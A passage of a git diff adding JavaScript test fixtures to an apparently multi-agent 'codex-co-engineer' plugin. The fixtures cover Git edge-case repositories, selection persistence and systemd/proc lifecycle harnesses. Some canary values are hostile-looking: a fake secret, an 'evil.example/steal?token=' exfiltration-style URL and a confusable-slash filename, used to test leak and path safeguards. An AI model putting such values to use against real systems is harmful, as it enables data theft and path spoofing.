'candidate']); + await runFixtureGit(root, ['rm', '--', 'src/gone.txt']); + const headSha = await commit(root, 'delete'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { deleted: 'src/gone.txt' } }); +} + +export async function createOverlapRepo() { + const root = await emptyRepo('p15-overlap-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'docs/taken.txt', 'overlap\n'); + const headSha = await commit(root, 'overlap'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['docs/taken.txt'] } }); +} + +export async function createMergeCommitRepo() { + const root = await emptyRepo('p15-merge-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['checkout', '-b', 'candidate']); + await runFixtureGit(root, ['checkout', '-b', 'topic']); + await writeAndAdd(root, 'src/topic.txt', 'topic\n'); + await commit(root, 'topic'); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/mainline.txt', 'mainline\n'); + await commit(root, 'mainline'); + await runFixtureGit(root, [ + 'merge', '--no-ff', '--no-edit', '-m', `merge ${root}`, 'topic', + ]); + const headSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: {} }); +} + +export async function createMergeHeadEqualsBaseRepo() { + const merge = await createMergeCommitRepo(); + await runFixtureGit(merge.path, ['checkout', 'candidate']); + await runFixtureGit(merge.path, ['checkout', '-B', 'main', merge.headSha]); + merge.baseSha = merge.headSha; + return merge; +} + +export async function createHistoricalMergeRepo() { + const merge = await createMergeCommitRepo(); + await runFixtureGit(merge.path, ['checkout', 'candidate']); + await writeAndAdd(merge.path, 'src/after-merge.txt', 'later\n'); + const headSha = await commit(merge.path, 'after-merge'); + await runFixtureGit(merge.path, ['checkout', 'main']); + merge.headSha = headSha; + merge.extra = { ...merge.extra, after: 'src/after-merge.txt' }; + return merge; +} + +export async function createSymlinkRepo() { + const root = await emptyRepo('p15-symlink-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await symlink('keep.txt', path.join(root, 'src', 'link.txt')); + await runFixtureGit(root, ['add', '--', 'src/link.txt']); + const headSha = await commit(root, 'symlink'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { link: 'src/link.txt' } }); +} + +export async function createGitlinkRepo() { + const root = await emptyRepo('p15-gitlink-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, [ + 'update-index', '--add', '--cacheinfo', `160000,${baseSha},src/vendor`, + ]); + const headSha = await commit(root, 'gitlink'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { gitlink: 'src/vendor' } }); +} + +export async function createTypeChangeRepo() { + const root = await emptyRepo('p15-typechange-'); + await writeAndAdd(root, 'src/file.txt', 'plain\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, ['rm', '--', 'src/file.txt']); + await mkdir(path.join(root, 'src'), { recursive: true }); + await symlink('keep-target', path.join(root, 'src', 'file.txt')); + await runFixtureGit(root, ['add', '--', 'src/file.txt']); + const headSha = await commit(root, 'typechange'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: 'src/file.txt' } }); +} + +export async function createUnicodeNfcRepo() { + const root = await emptyRepo('p15-nfc-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const nfcName = 'src/caf\u00e9.txt'; + await writeAndAdd(root, nfcName, 'nfc\n'); + const headSha = await commit(root, 'nfc'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: nfcName } }); +} + +export async function createNonNfcRepo() { + const root = await emptyRepo('p15-nfd-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const nfdName = 'src/cafe\u0301.txt'; + await writeAndAdd(root, nfdName, 'nfd\n'); + const headSha = await commit(root, 'nfd'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: nfdName } }); +} + +export async function createConfusableSeparatorRepo() { + const root = await emptyRepo('p15-confusable-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const hostile = `src/look${String.fromCodePoint(0x2215)}alike.txt`; + await writeAndAdd(root, hostile, 'confusable\n'); + const headSha = await commit(root, 'confusable'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: hostile } }); +} + +export async function createUntrackedInScopeRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'src', 'scratch.txt'), 'untracked\n', 'utf8'); + repo.extra = { ...repo.extra, untracked: 'src/scratch.txt' }; + return repo; +} + +export async function createUntrackedOutOfScopeRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'docs', 'scratch.txt'), 'untracked\n', 'utf8'); + repo.extra = { ...repo.extra, untracked: 'docs/scratch.txt' }; + return repo; +} + +export async function createStagedUntrackedMixRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'src', 'staged.txt'), 'staged\n', 'utf8'); + await runFixtureGit(repo.path, ['add', '--', 'src/staged.txt']); + repo.extra = { ...repo.extra, staged: 'src/staged.txt' }; + return repo; +} + +export { runFixtureGit }; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-fixtures.mjs new file mode 100644 index 0000000..015146d --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-fixtures.mjs @@ -0,0 +1,201 @@ +// Isolated P27 selection-persistence fixtures. Tests own the assertions. +// Helpers never rank, default, dispatch, or persist a second question batch. + +import { chmod, mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { initializeAggregateRunAnchorRoot } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { runManifestDigestV1 } from '../../mcp/v3/identity.mjs'; +import { buildGitIdentityV1, buildRunIdentityV1 } from '../../mcp/v3/protected-identity.mjs'; +import { resolveRunSelectionV1, selectionRequestIdentity } from '../../mcp/v3/resolver.mjs'; +import { + BASE_SHA, + availabilitySnapshot, + capabilitySnapshot, + resolveInputs, + reviewer, + runManifest, + writer, +} from './r1-resolver-fixtures.mjs'; + +export const P27_RUN_ID = 'p27-selection-run'; +export const P27_REPOSITORY_PATH = '/repos/p27-selection'; + +export { + BASE_SHA, + availabilitySnapshot, + capabilitySnapshot, + resolveInputs, + reviewer, + runManifest, + writer, +}; + +export async function makePrivateRoot(prefix = 'r1-p27-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function unresolvedAssignments(assignmentCount = 1) { + const assignments = []; + for (let index = 0; index < assignmentCount; index += 1) { + assignments.push(reviewer(assignmentCount === 1 ? 'lane-0' : `lane-${index}`, 'omitted')); + } + return assignments; +} + +export function completeAssignments(assignmentCount = 1) { + const assignments = []; + for (let index = 0; index < assignmentCount; index += 1) { + const assignmentId = assignmentCount === 1 ? 'lane-0' : `lane-${index}`; + assignments.push(writer(assignmentId, [`src/${assignmentId}/**`], { + provider: 'grok', + model: 'grok-4', + })); + } + return assignments; +} + +export function makeManifest({ + runId = P27_RUN_ID, + assignmentCount = 1, + unresolved = true, + assignments = null, +} = {}) { + return runManifest( + assignments ?? (unresolved + ? unresolvedAssignments(assignmentCount) + : completeAssignments(assignmentCount)), + { + run_id: runId, + repository: { path: P27_REPOSITORY_PATH, base_sha: BASE_SHA }, + }, + ); +} + +export function makeRunIdentity(manifest) { + const git = buildGitIdentityV1({ + repository_path: manifest.repository.path, + base_sha: manifest.repository.base_sha, + }); + return buildRunIdentityV1({ + run_id: manifest.run_id, + git, + manifest_digest: runManifestDigestV1(manifest).digest, + }); +} + +export function makePersistenceInputs({ + runId = P27_RUN_ID, + assignmentCount = 1, + unresolved = true, + assignments = null, + extra = {}, +} = {}) { + const manifest = makeManifest({ runId, assignmentCount, unresolved, assignments }); + const identity = makeRunIdentity(manifest); + return { + availability: availabilitySnapshot(), + capabilities: capabilitySnapshot(), + identity, + manifest, + ...extra, + }; +} + +export function makeSubmitInput(inputs) { + return { + run_id: inputs.identity.run_id, + identity: structuredClone(inputs.identity), + git: structuredClone(inputs.identity.git), + manifest_digest: inputs.identity.manifest_digest, + }; +} + +export async function withSubmittedAnchor(fn, options = {}) { + const inputs = makePersistenceInputs(options); + const root = await makePrivateRoot(); + try { + const anchor = await initializeAggregateRunAnchorRoot(root); + await anchor.submit(makeSubmitInput(inputs)); + return await fn({ root, anchor, inputs }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +export function derivedRequest(inputs) { + const plan = resolveRunSelectionV1({ + availability: inputs.availability, + capabilities: inputs.capabilities, + manifest: inputs.manifest, + ...(inputs.profiles === undefined ? {} : { profiles: inputs.profiles }), + }); + if (plan.selection_request === null || plan.selection_request === undefined) { + throw new Error('fixture expected an outstanding SelectionRequestV1'); + } + return { + plan, + request: plan.selection_request, + identity: selectionRequestIdentity(plan.selection_request), + }; +} + +export function completeAnswers(request, provider = 'grok', model = 'grok-4') { + return request.questions.map((question) => { + if (question.answer_scope === 'model_only') { + return { + assignment_id: question.assignment_id, + model, + }; + } + return { + assignment_id: question.assignment_id, + model, + provider, + }; + }); +} + +export function structuredReply(request, answers = completeAnswers(request)) { + return { + run_id: request.run_id, + request_id: request.request_id, + digest: request.digest, + answers, + }; +} + +export function wrapAnchor(anchor, hooks = {}) { + return { + root: anchor.root, + marker_digest: anchor.marker_digest, + submit: (...args) => anchor.submit(...args), + getByRunId: (...args) => anchor.getByRunId(...args), + getCoordination: (...args) => { + if (typeof hooks.getCoordination === 'function') return hooks.getCoordination(...args); + return anchor.getCoordination(...args); + }, + commitSelectionRequest: async (...args) => { + if (typeof hooks.beforeCommitRequest === 'function') await hooks.beforeCommitRequest(...args); + const result = await anchor.commitSelectionRequest(...args); + if (typeof hooks.afterCommitRequest === 'function') await hooks.afterCommitRequest(result, ...args); + return result; + }, + commitSelectionResolution: async (...args) => { + if (typeof hooks.beforeCommitResolution === 'function') { + await hooks.beforeCommitResolution(...args); + } + const result = await anchor.commitSelectionResolution(...args); + if (typeof hooks.afterCommitResolution === 'function') { + await hooks.afterCommitResolution(result, ...args); + } + return result; + }, + commitResolvedPlan: async () => { + throw new Error('P27 must never call commitResolvedPlan'); + }, + }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-worker.mjs b/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-worker.mjs new file mode 100644 index 0000000..d8a1ea5 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-worker.mjs @@ -0,0 +1,68 @@ +// Cross-process P27 worker. Usage: +// node r1-selection-persistence-worker.mjs [runId] [assignmentCount] +// mode is persist | persist-stale | reply | reply-alt +// Prints exactly one JSON line: { ok, created, code? }. + +import { openAggregateRunAnchor } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { + acceptSelectionReply, + persistSelectionQuestionBatch, +} from '../../mcp/v3/selection-persistence.mjs'; +import { + P27_RUN_ID, + completeAnswers, + derivedRequest, + makePersistenceInputs, + structuredReply, +} from './r1-selection-persistence-fixtures.mjs'; + +const [root, mode, runIdArg, rawCount] = process.argv.slice(2); +const runId = runIdArg || P27_RUN_ID; +const assignmentCount = Number.parseInt(rawCount ?? '1', 10); + +function emit(value) { + process.stdout.write(`${JSON.stringify(value)}\n`); +} + +try { + const anchor = await openAggregateRunAnchor(root); + const inputs = makePersistenceInputs({ runId, assignmentCount }); + let result; + if (mode === 'persist') { + result = await persistSelectionQuestionBatch({ anchor, ...inputs }); + } else if (mode === 'persist-stale') { + const drifted = structuredClone(inputs.availability); + drifted.providers.grok.models = ['grok-4', 'grok-4-fast']; + result = await persistSelectionQuestionBatch({ + anchor, + ...inputs, + availability: drifted, + }); + } else if (mode === 'reply' || mode === 'reply-alt') { + const derived = derivedRequest(inputs); + const answers = mode === 'reply-alt' + ? completeAnswers(derived.request, 'dsh', 'stealth/ox-alpha') + : completeAnswers(derived.request, 'grok', 'grok-4'); + result = await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, answers), + }); + } else { + throw new Error('unknown-mode'); + } + emit({ + ok: true, + created: result.created === true, + disposition: result.disposition ?? null, + digest: result.digest ?? null, + }); +} catch (error) { + emit({ + ok: false, + created: false, + code: error?.code ?? 'unknown', + path: error?.path ?? '', + }); + process.exitCode = 1; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs new file mode 100644 index 0000000..97b3846 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs @@ -0,0 +1,315 @@ +// Neutral fixtures for supervisor result-truthfulness tests. Construction +// only: no Git, filesystem, process, network, provider, or stored-byte writes. + +export const AUTHORITATIVE_PING_TIMEOUT = 'RetriableError [unavailable] PING timed out'; +export const HOSTILE_SECRET = 'sk-secret-value-do-not-leak'; +export const HOSTILE_PATH = '/tmp/secret-repo-do-not-leak'; +export const HOSTILE_URL = 'https://evil.example/steal?token=secret'; +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const STORED_STATUS_VOCABULARY = Object.freeze([ + 'completed', + 'failed', + 'cancelled', + 'timeout', + 'environment_blocked', + 'transport_lost', + 'needs_attention', + 'accepted', + 'starting', + 'running', + 'cancelling', +]); + +export const PUBLIC_STATE_VOCABULARY = Object.freeze([ + 'succeeded', + 'failed', + 'cancelled', + 'timed_out', + 'environment_blocked', + 'transport_lost', + 'needs_attention', + 'accepted', + 'starting', + 'running', + 'cancelling', +]); + +export const LEGACY_STATUS_KEYS = Object.freeze([ + 'version', + 'healthy', + 'active', + 'providers', + 'capabilities', + 'mcp_pending_call', + 'local_boundary', + 'readiness', + 'tasks', +]); + +export const COMPACT_OMITTED_TASKS_KEYS = Object.freeze([ + ...LEGACY_STATUS_KEYS, + 'detail', + 'task_count', + 'returned_tasks', + 'task_limit', + 'include_tasks', + 'total', + 'limit', +]); + +export const TASK_STATUS_KEYS = Object.freeze([ + 'task', + 'runtime', + 'progress', + 'state', + 'summary', + 'diagnostic', + 'capabilities', + 'view', +]); + +export const TASKS_LIST_KEYS = Object.freeze(['tasks']); + +export const TASKS_PAGED_KEYS = Object.freeze([ + 'tasks', + 'next_cursor', + 'has_more', + 'detail', + 'total', + 'limit', +]); + +export const WAIT_ANY_KEYS = Object.freeze([ + 'tasks', + 'wait_reason', + 'wait_until', + 'waited_ms', + 'triggered_task_id', +]); + +export const WAIT_ANY_ENTRY_KEYS = Object.freeze([ + 'task_id', + 'task', + 'progress', + 'state', + 'error', +]); + +export const COMPACT_CARD_KEYS = Object.freeze([ + 'id', + 'state', + 'provider', + 'created_at', + 'updated_at', + 'deadline', + 'branch', + 'start_sha', +]); + +export function readyBoundary() { + return { + ready: true, + status: 'prerequisites_ready', + provider_started: false, + boundary: 'systemd-user-service-cgroup', + }; +} + +export function readyProviderReadiness() { + return { + grok: { installed: true, ready: true, transport: 'acp' }, + 'cursor-local': { installed: true, ready: true, transport: 'acp' }, + dsh: { installed: true, ready: true, transport: 'acpx' }, + 'cursor-cloud': { installed: true, ready: true, transport: 'cursor-sdk' }, + }; +} + +export function terminalReceipt(overrides = {}) { + return { + id: 'rtruth-terminal', + status: 'completed', + provider: 'cursor-local', + role: 'implement', + prompt_dispatched: true, + finished_at: '2026-08-25T00:00:00.000Z', + stop_reason: 'end_turn', + result: 'implemented the requested change', + ...overrides, + }; +} + +export function zeroWorkPingTimeoutReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-ping-timeout', + result: AUTHORITATIVE_PING_TIMEOUT, + error: { + code: 'unavailable', + name: 'RetriableError', + message: AUTHORITATIVE_PING_TIMEOUT, + }, + ...overrides, + }); +} + +export function wholeResultPingTimeoutReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-whole-result-ping', + result: AUTHORITATIVE_PING_TIMEOUT, + error: null, + ...overrides, + }); +} + +export function envelopeOnlyCompletedReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-envelope-only', + result: null, + error: { + code: 'unavailable', + name: 'RetriableError', + message: AUTHORITATIVE_PING_TIMEOUT, + }, + ...overrides, + }); +} + +export function structuredWholeResultErrorReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-structured-result', + result: { + name: 'RetriableError', + code: 'unavailable', + message: AUTHORITATIVE_PING_TIMEOUT, + }, + error: null, + ...overrides, + }); +} + +export function legitimateCompletedReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-completed', + result: 'The change is on the branch with tests passing.', + error: null, + ...overrides, + }); +} + +export function legitimateFailedReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-failed', + status: 'failed', + result: null, + error: { + code: 'task_failed', + message: 'implementation failed', + }, + ...overrides, + }); +} + +export function legitimateCancelledReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-cancelled', + status: 'cancelled', + result: null, + error: { + code: 'cancelled', + message: 'cancelled', + }, + ...overrides, + }); +} + +export function legitimateTimeoutReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-timeout', + status: 'timeout', + result: null, + error: { + code: 'timeout', + message: 'timeout', + }, + ...overrides, + }); +} + +export function legitimateEnvironmentBlockedReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-environment-blocked', + status: 'environment_blocked', + result: null, + error: { + code: 'environment_blocked', + message: 'environment blocked', + }, + ...overrides, + }); +} + +export function legitimateTransportLostReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-legitimate-transport-lost', + status: 'transport_lost', + result: null, + error: { + code: 'transport_lost', + message: 'transport lost', + }, + ...overrides, + }); +} + +export function quotedPingInSuccessfulResultReceipt(overrides = {}) { + return terminalReceipt({ + id: 'rtruth-quoted-ping', + result: [ + 'Review notes:', + '- retry the later probe if a prior PING timed out in logs', + '- the requested implementation is complete', + ].join('\n'), + error: null, + ...overrides, + }); +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function throwingGetterReceipt(field, overrides = {}) { + const base = terminalReceipt({ + id: `rtruth-throwing-${field}`, + ...overrides, + }); + return new Proxy(base, { + get(inner, property, receiver) { + if (property === field) throw new Error(`${field} accessor must not leak ${HOSTILE_SECRET}`); + return Reflect.get(inner, property, receiver); + }, + }); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs new file mode 100644 index 0000000..2ff093b --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs @@ -0,0 +1,296 @@ +// Neutral fixtures for terminal-boundary lifecycle tests. Construction only: +// no Git, filesystem, process, network, provider, or stored-byte writes. + +export const INCIDENT_1_TASK_ID = 'r1-w25b-rtruth-server-tasks-classifier-repair-grok-20260825'; +export const INCIDENT_2_TASK_ID = 'r1-w25b-rtruth-task-store-filter-final-closure-grok-20260825'; +export const SHA = 'a'.repeat(40); +export const TREE = 'b'.repeat(40); +export const OTHER_UNIT = 'codex-co-engineer-cccccccccccccccccccccccccccccccc.service'; + +export function lifecycleReceipt(overrides = {}) { + const token = overrides.token ?? 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; + const unit = overrides.unit ?? `codex-co-engineer-${token}.service`; + return { + version: 1, + boundary: 'systemd-user-service-cgroup', + unit, + description: overrides.description ?? `codex-co-engineer-task:${token}`, + invocation_id: overrides.invocation_id ?? 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + control_group: overrides.control_group + ?? `/user.slice/user-1000.slice/user@1000.service/app.slice/${unit}`, + ...Object.fromEntries(Object.entries(overrides).filter(([key]) => key !== 'token')), + }; +} + +export function procStat({ pid, ppid, startTicks, comm = 'wrap', state = 'S' }) { + const fields = [state, String(ppid), '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', String(startTicks)]; + return `${pid} (${comm}) ${fields.join(' ')}`; +} + +export function procStatus({ pid, nspid, state = 'S' }) { + const ns = nspid ?? String(pid); + const label = state === 'Z' ? 'zombie' : (state === 'X' || state === 'x' ? 'dead' : 'sleeping'); + return [ + 'Name:\twrap', + `State:\t${state} (${label})`, + `Pid:\t${pid}`, + `NSpid:\t${ns}`, + ].join('\n'); +} + +export function incidentOneRuntime(overrides = {}) { + const receipt = lifecycleReceipt({ + token: 'a532059d5c22478b85270de53e032013', + invocation_id: 'ceeb644ad01c4646981369c739d008ec', + }); + return { + pid: 1818295, + process_group: null, + process_start_ticks: '579125367', + command: 'worktree-bootstrap', + process_boundary: receipt, + ...overrides, + }; +} + +export function incidentTwoRuntime(overrides = {}) { + const receipt = lifecycleReceipt({ + token: 'd8cdeb77784f43329d17e1009aad7ceb', + invocation_id: '6368455919884b0c82ce2a3fbdeaf6ce', + }); + return { + pid: 2394612, + process_group: null, + process_start_ticks: '579387325', + command: 'worktree-bootstrap', + process_boundary: receipt, + ...overrides, + }; +} + +export function terminalTaskRecord(overrides = {}) { + return { + id: overrides.id ?? 'lifecycle-one', + status: overrides.status ?? 'completed', + provider: 'grok', + cwd: overrides.cwd, + branch: overrides.branch ?? 'codex/lifecycle-one', + start_sha: overrides.start_sha ?? SHA, + worktree_task: overrides.worktree_task ?? overrides.id ?? 'lifecycle-one', + workspace_kind: overrides.workspace_kind ?? 'managed-worktree', + result: overrides.result ?? 'ok', + finished_at: overrides.finished_at ?? '2026-08-25T20:32:28.074Z', + handoff: overrides.handoff ?? { branch: 'codex/lifecycle-one', head: SHA }, + stop_reason: overrides.stop_reason ?? 'end_turn', + ...Object.fromEntries(Object.entries(overrides).filter(([key]) => ( + !['id', 'status', 'cwd', 'branch', 'start_sha', 'worktree_task', 'workspace_kind', 'result', 'finished_at', 'handoff', 'stop_reason'].includes(key) + ))), + }; +} + +export function gitSnapshot(overrides = {}) { + return { + head: overrides.head ?? SHA, + tree: overrides.tree ?? TREE, + branch: overrides.branch ?? 'codex/lifecycle-one', + clean: overrides.clean !== false, + }; +} + +export function createBoundaryHarness({ + receipt = lifecycleReceipt(), + leaderPid = 4242, + workerPid = 4300, + startTicks = '100', + workerTicks = '110', + activeState = 'active', + populated = true, + found = true, + invocationId, + controlGroup, + clearRuntimeGeneration = false, + procErrors = {}, + cgroupErrors = {}, + extraMembers = [], + procStates = {}, + procCgroups = {}, + procTicks = {}, + procNspid = {}, + procNs = {}, + statusErrors = {}, + procPresentWhenEmpty = {}, +} = {}) { + const unit = receipt.unit; + const description = receipt.description; + const invocation = invocationId ?? receipt.invocation_id; + const cgroup = controlGroup ?? receipt.control_group; + const state = { + activeState, + populated, + found, + forced: false, + actions: [], + stopCalls: 0, + unit, + description, + invocationId: invocation, + controlGroup: cgroup, + clearRuntimeGeneration: clearRuntimeGeneration === true, + unrelated: { + [OTHER_UNIT]: { ActiveState: 'active', InvocationID: 'dddddddddddddddddddddddddddddddd', MainPID: '99' }, + }, + }; + const membersOf = () => (state.populated ? [leaderPid, workerPid, ...extraMembers] : []); + + const readFile = async (file) => { + if (file.endsWith('/cgroup.events')) { + if (cgroupErrors.events) { + throw Object.assign(new Error('cgroup events unreadable'), { code: cgroupErrors.events }); + } + if (!state.found && !state.populated) { + throw Object.assign(new Error('missing cgroup'), { code: 'ENOENT' }); + } + return `populated ${state.populated ? 1 : 0}\nfrozen 0\n`; + } + if (file.endsWith('/cgroup.procs')) { + if (cgroupErrors.procs) { + throw Object.assign(new Error('cgroup procs unreadable'), { code: cgroupErrors.procs }); + } + return `${membersOf().join('\n')}\n`; + } + const procMatch = /\/proc\/(\d+)\/(stat|cgroup|status)$/u.exec(file); + if (procMatch) { + const pid = Number(procMatch[1]); + const kind = procMatch[2]; + const errorCode = (kind === 'status' ? statusErrors[pid] : undefined) ?? procErrors[pid] ?? procErrors[kind]; + if (errorCode) throw Object.assign(new Error('proc unreadable'), { code: errorCode }); + const gone = !state.populated && procPresentWhenEmpty[pid] !== true && !procStates[pid] && !procCgroups[pid]; + if (gone) throw Object.assign(new Error('proc gone'), { code: 'ENOENT' }); + const memberState = procStates[pid] ?? 'S'; + const ticks = procTicks[pid] ?? (pid === leaderPid ? startTicks : workerTicks); + if (kind === 'stat') { + const ppid = pid === leaderPid ? 1 : leaderPid; + return procStat({ pid, ppid, startTicks: ticks, comm: pid === leaderPid ? 'wrap' : 'node', state: memberState }); + } + if (kind === 'status') { + return procStatus({ pid, nspid: procNspid[pid] ?? String(pid), state: memberState }); + } + return `0::${procCgroups[pid] ?? cgroup}\n`; + } + throw Object.assign(new Error(`unexpected file ${file}`), { code: 'ENOENT' }); + }; + + const readlink = async (file) => { + const match = /\/proc\/(\d+)\/ns\/pid$/u.exec(file); + if (!match) throw Object.assign(new Error(`unexpected link ${file}`), { code: 'ENOENT' }); + const pid = Number(match[1]); + if (procErrors[pid] || procErrors.ns) throw Object.assign(new Error('ns unreadable'), { code: procErrors[pid] ?? procErrors.ns }); + const gone = !state.populated && procPresentWhenEmpty[pid] !== true && !procStates[pid] && !procCgroups[pid]; + if (gone) throw Object.assign(new Error('proc gone'), { code: 'ENOENT' }); + return procNs[pid] ?? 'pid:[4026531836]'; + }; + + const execFile = async (_command, args) => { + state.actions.push([...args]); + if (args.includes('list-units')) { + return { stdout: `${OTHER_UNIT} loaded active running other\n${unit} loaded ${state.activeState} running task\n` }; + } + if (args[1] === 'stop') { + state.stopCalls += 1; + state.actions.push(['stop', args.at(-1)]); + if (args.at(-1) !== unit) { + throw Object.assign(new Error('refusing to stop a foreign unit'), { code: 'foreign_unit' }); + } + state.found = false; + state.activeState = 'inactive'; + state.populated = false; + state.clearRuntimeGeneration = true; + state.description = state.unit; + return { stdout: '' }; + } + if (args[1] === 'show') { + const target = args.find((value) => String(value).startsWith('codex-co-engineer-')) ?? state.unit; + if (target === OTHER_UNIT) { + const other = state.unrelated[OTHER_UNIT]; + return { stdout: [ + `Id=${OTHER_UNIT}`, + 'ActiveState=active', + `InvocationID=${other.InvocationID}`, + `MainPID=${other.MainPID}`, + ].join('\n') }; + } + if (!state.found) { + return { stdout: [ + `Id=${state.unit}`, + `Description=${state.unit}`, + 'LoadState=not-found', + 'ActiveState=inactive', + 'ControlGroup=', + 'KillMode=control-group', + 'InvocationID=', + 'MainPID=0', + ].join('\n') }; + } + const runtimeCleared = state.clearRuntimeGeneration === true; + const shownCgroup = runtimeCleared || (state.activeState === 'inactive' && !state.populated) + ? '' + : state.controlGroup; + return { stdout: [ + `Id=${state.unit}`, + `Description=${state.description}`, + 'LoadState=loaded', + `ActiveState=${state.activeState}`, + `ControlGroup=${shownCgroup}`, + 'KillMode=control-group', + `InvocationID=${runtimeCleared ? '' : state.invocationId}`, + `MainPID=${state.populated ? leaderPid : 0}`, + ].join('\n') }; + } + return { stdout: '' }; + }; + + const adapter = { + platform: 'linux', + uid: 1000, + spawn: () => { throw new Error('launch is out of scope'); }, + execFile, + readFile, + readlink, + sleep: async () => {}, + }; + + return { + adapter, + state, + receipt, + leader: { pid: leaderPid, process_start_ticks: startTicks }, + workerPid, + }; +} + +export function lockInspectReceipt({ + task, + lockId = 'f0eb35fa540840c8bb4fcc7edfca2e45', + state = 'held', + health = 'abandoned', + healthReason = 'wrapper process no longer exists', + worktreePath, + branch, + startSha = SHA, + wrapperPid = 1818295, + startTicks = '579125367', +} = {}) { + return { + schema: 'worktree-bootstrap/v1', + state, + lock_id: lockId, + task, + worktree_path: worktreePath, + branch, + start_sha: startSha, + wrapper_pid: wrapperPid, + process_start_ticks: startTicks, + command: ['worktree-bootstrap', 'launch', task], + health: { state: health, abandoned: health === 